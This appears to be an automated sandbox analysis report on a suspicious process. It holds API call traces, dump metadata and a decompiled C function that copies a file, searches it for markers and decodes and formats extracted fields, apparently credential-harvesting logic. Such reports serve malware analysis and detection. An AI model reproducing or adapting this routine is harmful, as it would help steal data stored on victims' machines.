Part of subcall function 00419B4E: RealDriveType.SHELL32(753987CF,00000000), ref: 00419D27
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D2D
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D33
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D39
Part of subcall function 00419B4E: RealDriveType.SHELL32(91997886,00000000), ref: 00419D42
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D48
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D4E

lstrlenW.KERNEL32(-00000002), ref: 00406425
LocalAlloc.KERNEL32(00000040,00000000), ref: 00406430
StrStrW.SHLWAPI(-00000002), ref: 00406440
lstrlenW.KERNEL32(-00000004), ref: 00406471
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040647C
StrStrW.SHLWAPI(-00000004), ref: 0040648C
lstrlenW.KERNEL32(-00000006), ref: 004064BD
LocalAlloc.KERNEL32(00000040,00000000), ref: 004064C8
StrStrW.SHLWAPI(-00000006), ref: 004064D8
lstrlenW.KERNEL32(-00000008), ref: 00406509
LocalAlloc.KERNEL32(00000040,00000000), ref: 00406514
StrStrW.SHLWAPI(-00000008), ref: 00406524
lstrlenW.KERNEL32(-0000000A), ref: 0040655E
LocalAlloc.KERNEL32(00000040,00000000), ref: 00406569
StrStrW.SHLWAPI(-0000000A), ref: 00406579
lstrlenW.KERNEL32(00000001), ref: 004065B3
LocalAlloc.KERNEL32(00000040,00000000), ref: 004065BE
StrStrW.SHLWAPI(00000001), ref: 004065CE
LocalAlloc.KERNEL32(00000040,00030700), ref: 00406602
StrToIntW.SHLWAPI(?,00000000,00000000,00000000,00000000), ref: 0040662A

Part of subcall function 00406D5B: LocalAlloc.KERNEL32(00000040,00000410,-0000000A,00000000,00000001,?,?,?,?,?,?,?,?,?,?,00406645), ref: 00406D76
Part of subcall function 00406D5B: LocalAlloc.KERNEL32(00000040,0000020A,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?), ref: 00406D85
Part of subcall function 00406D5B: lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 00406D93
Part of subcall function 00406D5B: LocalAlloc.KERNEL32(00000040,00000410,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?), ref: 00406DDC
Part of subcall function 00406D5B: GetLogicalDriveStringsW.KERNEL32(00000208,00000000,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?), ref: 00406DEE
Part of subcall function 00406D5B: GetDriveTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?,00000000), ref: 00406E6D
Part of subcall function 00406D5B: LocalAlloc.KERNEL32(00000040,00000020,?,?,?,?,?,?,?,?,?,?,00406645,?,?,?), ref: 00406E79
Part of subcall function 00406D5B: wsprintfW.USER32 ref: 00406E8C
Part of subcall function 00406D5B: lstrlenW.KERNEL32(0513BCF8,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645,?), ref: 00406E98
Part of subcall function 00406D5B: lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645,?), ref: 00406EAE
Part of subcall function 00406D5B: LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00406645), ref: 00406EBA

LocalAlloc.KERNEL32(00000040,00000208), ref: 0040665A
LocalAlloc.KERNEL32(00000040,00000208), ref: 00406665
StrCpyW.SHLWAPI(00000000), ref: 00406683

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

Part of subcall function 00413A99: LocalAlloc.KERNELBASE(00000040,0000FF78,00000000,0040AD5E), ref: 00413AA3

LocalAlloc.KERNEL32(00000040,00000184), ref: 004066B4
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 004066CB
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 004066E4

Part of subcall function 004133D0: LocalAlloc.KERNELBASE(00000040,0000C350,?,00000000,00000001,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?), ref: 004133E5
Part of subcall function 004133D0: LocalAlloc.KERNEL32(00000040,00000208,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?,?), ref: 004133F7
Part of subcall function 004133D0: StrStrW.SHLWAPI(004101AD,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?,?), ref: 0041343C
Part of subcall function 004133D0: lstrlenW.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 0041346E
Part of subcall function 004133D0: LocalAlloc.KERNELBASE(00000040,?,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 00413485

LocalFree.KERNEL32(00000000), ref: 00406713
LocalFree.KERNEL32(?), ref: 0040671C
LocalFree.KERNEL32(?), ref: 00406725
LocalFree.KERNEL32(?), ref: 0040672E
LocalFree.KERNEL32(?), ref: 0040673A
LocalFree.KERNEL32(00411555), ref: 00406743
LocalFree.KERNEL32(?), ref: 0040674C
LocalFree.KERNEL32(?), ref: 00406755
LocalFree.KERNEL32(?), ref: 0040675E
LocalFree.KERNEL32(?), ref: 00406767
LocalFree.KERNEL32(?), ref: 00406770
LocalFree.KERNEL32(?), ref: 00406779
LocalFree.KERNEL32(?), ref: 00406782
StrStrW.SHLWAPI(00000001), ref: 0040678F
LocalFree.KERNEL32(00411555), ref: 004067AA
LocalFree.KERNEL32(?), ref: 004067B3
LocalFree.KERNEL32(?), ref: 004067BC
LocalFree.KERNEL32(?), ref: 004067C5
LocalFree.KERNEL32(?), ref: 004067CE
LocalFree.KERNEL32(?), ref: 004067D7
LocalFree.KERNEL32(?), ref: 004067E0
LocalFree.KERNEL32(00411555), ref: 004067F1
LocalFree.KERNEL32(?), ref: 004067FA
LocalFree.KERNEL32(?), ref: 00406803
LocalFree.KERNEL32(?), ref: 0040680C
LocalFree.KERNEL32(?), ref: 00406815
LocalFree.KERNEL32(?), ref: 0040681E
LocalFree.KERNEL32(00411555), ref: 0040682F
LocalFree.KERNEL32(?), ref: 00406838
LocalFree.KERNEL32(?), ref: 00406841
LocalFree.KERNEL32(?), ref: 0040684A
LocalFree.KERNEL32(?), ref: 00406853

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A032
Part of subcall function 00419B4E: RealDriveType.SHELL32(15AF3222,00000000), ref: 0041A03A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A03E
Part of subcall function 00419B4E: RealDriveType.SHELL32(5C94C57E,00000000), ref: 0041A046
Part of subcall function 00419B4E: RealDriveType.SHELL32(D30A758C,00000000), ref: 0041A04E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A052
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A056
Part of subcall function 00419B4E: RealDriveType.SHELL32(81C55260,00000000), ref: 0041A05E
Part of subcall function 00419B4E: RealDriveType.SHELL32(74DE06B9,00000000), ref: 0041A066
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A06A
Part of subcall function 00419B4E: RealDriveType.SHELL32(4CF8C2D9,00000000), ref: 0041A072
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A076
Part of subcall function 00419B4E: RealDriveType.SHELL32(F27D6935,00000000), ref: 0041A07E
Part of subcall function 00419B4E: RealDriveType.SHELL32(028C8498,00000000), ref: 0041A086
Part of subcall function 00419B4E: RealDriveType.SHELL32(2CFAF83B,00000000), ref: 0041A08E
Part of subcall function 00419B4E: RealDriveType.SHELL32(77AFC29D,00000000), ref: 0041A096
Part of subcall function 00419B4E: RealDriveType.SHELL32(AF52D6AB,00000000), ref: 0041A09E
Part of subcall function 00419B4E: RealDriveType.SHELL32(E9F5F3AB,00000000), ref: 0041A0A6
Part of subcall function 00419B4E: RealDriveType.SHELL32(6EE09C7C,00000000), ref: 0041A0AE
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0B2
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0B6
Part of subcall function 00419B4E: RealDriveType.SHELL32(C4E24786,00000000), ref: 0041A0BE
Part of subcall function 00419B4E: RealDriveType.SHELL32(EC551473,00000000), ref: 0041A0C6
Part of subcall function 00419B4E: RealDriveType.SHELL32(19BD0B68,00000000), ref: 0041A0CE
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0D2
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0D6
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A0DA
Part of subcall function 00419B4E: RealDriveType.SHELL32(28636049,00000000), ref: 0041A0E2
Part of subcall function 00419B4E: RealDriveType.SHELL32(A33E7492,00000000), ref: 0041A0EA
Part of subcall function 00419B4E: RealDriveType.SHELL32(8BD39DD4,00000000), ref: 0041A0F2

LocalFree.KERNEL32(00411555), ref: 00406861
LocalFree.KERNEL32(?), ref: 0040686A
LocalFree.KERNEL32(?), ref: 00406873
LocalFree.KERNEL32(?), ref: 0040687C

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F4A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F50
Part of subcall function 00419B4E: RealDriveType.SHELL32(B190EFF0,00000000), ref: 00419F59
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F5F
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F65
Part of subcall function 00419B4E: RealDriveType.SHELL32(E1A60634,00000000), ref: 00419F6E
Part of subcall function 00419B4E: RealDriveType.SHELL32(366B8E14,00000000), ref: 00419F77
Part of subcall function 00419B4E: RealDriveType.SHELL32(40932F09,00000000), ref: 00419F80
Part of subcall function 00419B4E: RealDriveType.SHELL32(3DAE64CB,00000000), ref: 00419F89
Part of subcall function 00419B4E: RealDriveType.SHELL32(5AFAF68A,00000000), ref: 00419F92
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F98
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F9E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FA4
Part of subcall function 00419B4E: RealDriveType.SHELL32(AC10EC3A,00000000), ref: 00419FAD
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FB3
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FB9
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FBF
Part of subcall function 00419B4E: RealDriveType.SHELL32(DF33BCFE,00000000), ref: 00419FC8
Part of subcall function 00419B4E: RealDriveType.SHELL32(34727096,00000000), ref: 00419FD1
Part of subcall function 00419B4E: RealDriveType.SHELL32(E0102DA0,00000000), ref: 00419FDA
Part of subcall function 00419B4E: RealDriveType.SHELL32(2D8740DB,00000000), ref: 00419FE3
Part of subcall function 00419B4E: RealDriveType.SHELL32(2EF133F2,00000000), ref: 00419FEC
Part of subcall function 00419B4E: RealDriveType.SHELL32(9F55DDDA,00000000), ref: 00419FF5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FFB
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A001
Part of subcall function 00419B4E: LocalFree.KERNEL32(00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 0041A008
Part of subcall function 00419B4E: RealDriveType.SHELL32(C7C58F7B,00000000), ref: 0041A016
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A01A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A01E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A022
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A026
Part of subcall function 00419B4E: RealDriveType.SHELL32(2F8A0499,00000000), ref: 0041A02E

LocalFree.KERNEL32(00411555), ref: 0040688A
LocalFree.KERNEL32(?), ref: 00406893

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E45
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E4B
Part of subcall function 00419B4E: RealDriveType.SHELL32(3ED7E388,00000000), ref: 00419E54
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E5A
Part of subcall function 00419B4E: RealDriveType.SHELL32(5A47B4C0,00000000), ref: 00419E63
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E69
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E6F
Part of subcall function 00419B4E: RealDriveType.SHELL32(B0E0B450,00000000), ref: 00419E78
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E7E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E84
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E8A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E90
Part of subcall function 00419B4E: RealDriveType.SHELL32(ED838CCA,00000000), ref: 00419E99
Part of subcall function 00419B4E: RealDriveType.SHELL32(72878FA1,00000000), ref: 00419EA2
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419EA8
Part of subcall function 00419B4E: RealDriveType.SHELL32(55765162,00000000), ref: 00419EB1
Part of subcall function 00419B4E: RealDriveType.SHELL32(980D59D6,00000000), ref: 00419EBA
Part of subcall function 00419B4E: RealDriveType.SHELL32(BC7B410D,00000000), ref: 00419EC3
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419EC9
Part of subcall function 00419B4E: RealDriveType.SHELL32(0ABC8BCF,00000000), ref: 00419ED2
Part of subcall function 00419B4E: StrCpyW.SHLWAPI(00000000,00000000), ref: 00419EE4
Part of subcall function 00419B4E: RealDriveType.SHELL32(B83DD4C3,00000000), ref: 00419EF6
Part of subcall function 00419B4E: RealDriveType.SHELL32(0C3D9681,00000000), ref: 00419EFF
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F05
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F0B
Part of subcall function 00419B4E: RealDriveType.SHELL32(CA93AD31,00000000), ref: 00419F14
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F1A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F20
Part of subcall function 00419B4E: RealDriveType.SHELL32(24D7B2B3,00000000), ref: 00419F29
Part of subcall function 00419B4E: RealDriveType.SHELL32(A30DBBF3,00000000), ref: 00419F32
Part of subcall function 00419B4E: RealDriveType.SHELL32(AEA3431A,00000000), ref: 00419F3B
Part of subcall function 00419B4E: RealDriveType.SHELL32(D755FC82,00000000), ref: 00419F44

LocalFree.KERNEL32(?), ref: 0040689C
LocalFree.KERNEL32(00411555), ref: 004068AA

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D54
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D5A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D60
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D66
Part of subcall function 00419B4E: RealDriveType.SHELL32(3BABE4BA,00000000), ref: 00419D6F
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D75
Part of subcall function 00419B4E: RealDriveType.SHELL32(2D008AD7,00000000), ref: 00419D7E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D84
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D8A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D90
Part of subcall function 00419B4E: RealDriveType.SHELL32(A11DFE8B,00000000), ref: 00419D99
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D9F
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DD0
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DD6
Part of subcall function 00419B4E: RealDriveType.SHELL32(FACE207B,00000000), ref: 00419DDF
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DE5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DEB
Part of subcall function 00419B4E: RealDriveType.SHELL32(D28289B7,00000000), ref: 00419DF4
Part of subcall function 00419B4E: RealDriveType.SHELL32(0EAC1263,00000000), ref: 00419DFD
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E03
Part of subcall function 00419B4E: RealDriveType.SHELL32(EA227221,00000000), ref: 00419E0C
Part of subcall function 00419B4E: RealDriveType.SHELL32(A90BEB86,00000000), ref: 00419E15
Part of subcall function 00419B4E: RealDriveType.SHELL32(EDD40E07,00000000), ref: 00419E1E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E24
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E2A
Part of subcall function 00419B4E: RealDriveType.SHELL32(130527F1,00000000), ref: 00419E33
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E39
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E3F

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Drive$Type$Real$PathSlow$Local$Free$Alloc$lstrlen$ByteCharMultiWide$LogicalStringswsprintf
String ID:
API String ID: 156880885-0
Opcode ID: 451bed45ebfbbd2f406271512da9e249053a12ea219858b2aab68ff980fcb415
Instruction ID: 4554980705efa8b092ac970f77085b68719618c986d39a19e4d27c33a8eb1f7b
Opcode Fuzzy Hash: 451bed45ebfbbd2f406271512da9e249053a12ea219858b2aab68ff980fcb415
Instruction Fuzzy Hash: 4AF17C32B01215FFDB215FA0ED099AEBB75FF44702B404575FA02A21A4DB395E22DB68

Uniqueness

Uniqueness Score: -1.00%

Function 00407CED Relevance: 101.9, APIs: 57, Strings: 1, Instructions: 378
memorystringfileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00407CED(intOrPtr* __ecx, void** __edx, short* _a4, void* _a8) {
				void* _v8;
				void* _v12;
				WCHAR* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				char* _v44;
				char* _v48;
				signed int _v52;
				CHAR* _v56;
				void* _v60;
				void* _v64;
				long _v68;
				char* _v72;
				void* _v76;
				intOrPtr* _v80;
				void** _v84;
				void* _v88;
				void* _v92;
				char* _t104;
				char* _t105;
				char* _t106;
				char* _t107;
				CHAR* _t108;
				WCHAR* _t109;
				void* _t117;
				char* _t131;
				void* _t132;
				int _t135;
				void* _t136;
				void* _t137;
				void* _t143;
				int _t149;
				void* _t153;
				void* _t156;
				void* _t157;
				void* _t160;
				void* _t163;
				void* _t165;
				void* _t168;
				void* _t170;
				int _t174;
				void** _t176;
				void* _t191;
				char* _t192;
				void* _t222;
				void* _t223;
				void* _t224;
				void* _t225;
				void* _t226;
				void* _t227;
				void* _t229;
				void* _t230;
				long _t233;
				int _t234;
				void* _t236;
				intOrPtr* _t238;
				long _t239;
				void* _t240;

				_t241 = _a8;
				_v84 = __edx;
				_v80 = __ecx;
				if(_a8 == 0) {
					L51:
					return 0;
				}
				_t104 =  *0x423450; // 0x513c798
				_v68 = _v68 & 0x00000000;
				_v40 = _t104;
				_t105 =  *0x423440; // 0x513c558
				_v72 = _t105;
				_t106 =  *0x423348; // 0x513bc98
				_v44 = _t106;
				_t107 =  *0x4233c0; // 0x513b9f8
				_v48 = _t107;
				_t108 =  *0x423444; // 0x513c6f0
				_v56 = _t108;
				_t109 = LocalAlloc(0x40, 0x208);
				_a8 = LocalAlloc(0x40, 0x208);
				_t191 = PathCombineW(_t109, _a4,  *0x42339c);
				_v60 = _t191;
				if(E0041C37E(_t191,  &_a8, _t241) == 0 || CopyFileW(_t191, _a8, 0) == 0) {
					LocalFree(_t191);
					DeleteFileW(_a8);
					LocalFree(_a8);
					goto L50;
				} else {
					_t117 = CreateFileW(_a8, 0x80000000, 1, 0, 3, 0, 0);
					_v64 = _t117;
					_t233 = GetFileSize(_t117, 0);
					_t222 = LocalAlloc(0x40, _t233);
					_t18 = _t233 - 1; // -1
					_v92 = _t222;
					if(ReadFile(_v64, _t222, _t18,  &_v68, 0) == 0) {
						L44:
						LocalFree(_t222);
						CloseHandle(_v64);
						DeleteFileW(_a8);
						__eflags = _t191;
						if(_t191 != 0) {
							LocalFree(_t191);
						}
						__eflags = _a8;
						if(_a8 != 0) {
							LocalFree(_a8);
						}
						return 1;
					}
					_t234 = WideCharToMultiByte(0xfde9, 0, _a4, 0xffffffff, 0, 0, 0, 0);
					_t23 = _t234 + 0x40; // 0x40
					_t131 = LocalAlloc(0x40, _t23);
					_v36 = _t131;
					if(_t234 == 0) {
						L8:
						_t132 =  *0x423594(_t131);
						__eflags = _t132;
						if(_t132 != 0) {
							L43:
							 *0x4235ac();
							LocalFree(_v36);
							goto L44;
						}
						_t192 = _t222;
						_t236 = 1;
						_t135 = lstrlenA(_t222);
						__eflags = _t135 - 0x200;
						if(_t135 <= 0x200) {
							L42:
							_t191 = _v60;
							goto L43;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							__eflags = _t236;
							if(_t236 == 0) {
								break;
							}
							_v52 = _v52 & 0x00000000;
							_t136 = StrStrA(_t192, _v40);
							_v24 = _v24 | 0xffffffff;
							_t223 = _t136;
							_v20 = _v20 | 0xffffffff;
							__eflags = _t223;
							if(_t223 == 0) {
								break;
							}
							_t224 = _t223 - _t192;
							__eflags = _t224;
							if(_t224 < 0) {
								break;
							}
							_t137 = StrStrA(_t192, _v72);
							__eflags = _t137;
							if(_t137 == 0) {
								_t236 = 0;
								__eflags = 0;
							} else {
								_v24 = _t137 - _t192;
							}
							_v12 = _t236;
							_v8 = LocalAlloc(0x40, 0x800);
							_v28 = LocalAlloc(0x40, 0x800);
							_v32 = LocalAlloc(0x40, 0x800);
							_t143 = E0041A0FC(_t192,  &_v8, _t224 + lstrlenA(_v40), _v24);
							__eflags = _t143;
							if(_t143 == 0) {
								L39:
								LocalFree(_v8);
								LocalFree(_v28);
								LocalFree(_v32);
								_t225 = _v20;
								__eflags = _t225;
								if(_t225 < 0) {
									break;
								}
								_t192 =  &(_t192[_t225 + lstrlenA(_v56)]);
								_t149 = lstrlenA(_t192);
								__eflags = _t149 - 0x200;
								if(_t149 > 0x200) {
									continue;
								}
								break;
							} else {
								_v16 = LocalAlloc(0x40, 0x1000);
								_t153 = MultiByteToWideChar(0xfde9, 0, _v8, lstrlenA(_v8) + 1, 0, 0);
								_v24 = _t153;
								__eflags = _t153;
								if(_t153 != 0) {
									_t239 = _t153 + _t153;
									_t230 = LocalAlloc(0x40, _t239);
									MultiByteToWideChar(0xfde9, 0, _v8, lstrlenA(_v8) + 1, _t230, _v24);
									__eflags = 0;
									 *((short*)(_t239 + _t230 - 2)) = 0;
									_v16 = StrCpyW(_v16, _t230);
									LocalFree(_t230);
									_v52 = 1;
								}
								_t226 = StrStrA(_t192, _v44);
								__eflags = _t226;
								if(_t226 == 0) {
									L37:
									_t236 = 0;
									__eflags = 0;
									L38:
									LocalFree(_v16);
									goto L39;
								}
								_t227 = _t226 - _t192;
								__eflags = _t227;
								_t236 = _v12;
								if(_t227 < 0) {
									goto L38;
								}
								_t156 = StrStrA(_t192, _v48);
								__eflags = _t156;
								if(_t156 == 0) {
									goto L37;
								}
								_t157 = _t156 - _t192;
								__eflags = _t157;
								_v76 = _t157;
								if(_t157 >= 0) {
									_t160 = E0041A0FC(_t192,  &_v28, _t227 + lstrlenA(_v44), _t157);
									__eflags = _t160;
									if(_t160 != 0) {
										_v24 = LocalAlloc(0x40, 0x3f40);
										E00407194(_v28,  &_v24);
										_t163 = StrStrA(_t192, _v56);
										__eflags = _t163;
										if(_t163 == 0) {
											_t236 = 0;
											__eflags = 0;
										} else {
											_t165 = _t163 - _t192;
											__eflags = _t165;
											_v88 = _t165;
											_v20 = _t165;
											if(_t165 >= 0) {
												_v20 = _t165;
												_t168 = E0041A0FC(_t192,  &_v32, _v76 + lstrlenA(_v48), _t165);
												__eflags = _t168;
												if(_t168 != 0) {
													_v20 = LocalAlloc(0x40, 0x3f40);
													_t170 = E00407194(_v32,  &_v20);
													__eflags = _t170;
													if(_t170 != 0) {
														__eflags = _v52;
														if(_v52 != 0) {
															_t229 = LocalAlloc(0x40, 0x400);
															_t174 = wsprintfW(_t229,  *0x42319c, _v16, _v24, _v20);
															_t240 = _t240 + 0x14;
															__eflags = _t174 - lstrlenW( *0x42319c);
															if(__eflags >= 0) {
																_t238 = _v80;
																 *_t238 = E0041AD76( *_t238, _t229, __eflags);
															}
															__eflags = _t229;
															if(_t229 != 0) {
																LocalFree(_t229);
															}
															_t176 = _v84;
															 *_t176 =  *_t176 + 1;
															__eflags =  *_t176;
														}
													}
													LocalFree(_v20);
													_t236 = _v12;
													_v20 = _v88;
												}
											}
										}
										LocalFree(_v24);
									}
								}
								goto L38;
							}
						}
						_t222 = _v92;
						goto L42;
					}
					if(WideCharToMultiByte(0xfde9, 0, _a4, 0xffffffff, _t131, _t234, 0, 0) != 0) {
						_t131 = _v36;
						goto L8;
					} else {
						LocalFree(_t222);
						LocalFree(_t191);
						LocalFree(_a8);
						LocalFree(_v36);
						L50:
						goto L51;
					}
				}
			}

0x00407cf3
0x00407cfa
0x00407cfd
0x00407d00
0x00408196
0x00000000
0x00408196
0x00407d06
0x00407d10
